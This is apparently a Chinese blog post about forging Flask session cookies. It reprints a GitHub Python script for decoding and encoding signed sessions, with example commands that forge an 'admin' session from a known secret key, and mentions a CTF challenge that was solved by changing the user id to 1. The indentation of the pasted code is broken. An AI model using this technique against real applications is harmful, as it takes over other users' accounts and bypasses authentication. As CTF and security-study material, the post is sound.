flask伪造session

发表于 | 分类于 |
字数统计: 508 字 | 阅读时长 ≈ 3 分钟

flask伪造session

github的脚本

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

import sys
import zlib
from itsdangerous import base64_decode
import ast


import argparse


parser = argparse.ArgumentParser(
        description='Flask Session Cookie Decoder/Encoder',
        epilog="Author : Wilson Sumanang, Alexandre ZANNI")


subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                        help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                        help='Session cookie structure', required=True)


parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                        help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                        help='Session cookie value', required=True)


args = parser.parse_args()



from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

def __init__(self, secret_key):
    self.secret_key = secret_key


def session_cookie_encoder(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
    app = MockApp(secret_key)

    session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
    si = SecureCookieSessionInterface()
    s = si.get_signing_serializer(app)

    return s.dumps(session_cookie_structure)
except Exception as e:
    return "[Encoding error]{}".format(e)


def session_cookie_decoder(session_cookie_value, secret_key=None):
""" Decode a Flask cookie  """
try:
    if(secret_key==None):
        compressed = False
        payload = session_cookie_value

        if payload.startswith(b'.'):
            compressed = True
            payload = payload[1:]

        data = payload.split(".")[0]

        data = base64_decode(data)
        if compressed:
            data = zlib.decompress(data)

        return data
    else:
        app = MockApp(secret_key)

        si = SecureCookieSessionInterface()
        s = si.get_signing_serializer(app)

        return s.loads(session_cookie_value)
except Exception as e:
    return "[Decoding error]{}".format(e)


if __name__ == "__main__":
if(args.subcommand == 'encode'):
    if(args.secret_key is not None and args.cookie_structure is not None):
        print(session_cookie_encoder(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
    if(args.secret_key is not None and args.cookie_value is not None):
        print(session_cookie_decoder(args.cookie_value,args.secret_key))
    elif(args.cookie_value is not None):
        print(session_cookie_decoder(args.cookie_value))

#

加密示例 $ python2 session_cookie_manager.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}'
输出：eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw

解密示例 $ python2 session_cookie_manager.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'
输出：{u'username': 'admin', u'number': '326410031505'}

无密钥：$ python2 session_cookie_manager.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw'

hgame的happypython就是先解密session再将id改为1后加密，替换session即可登陆。

0%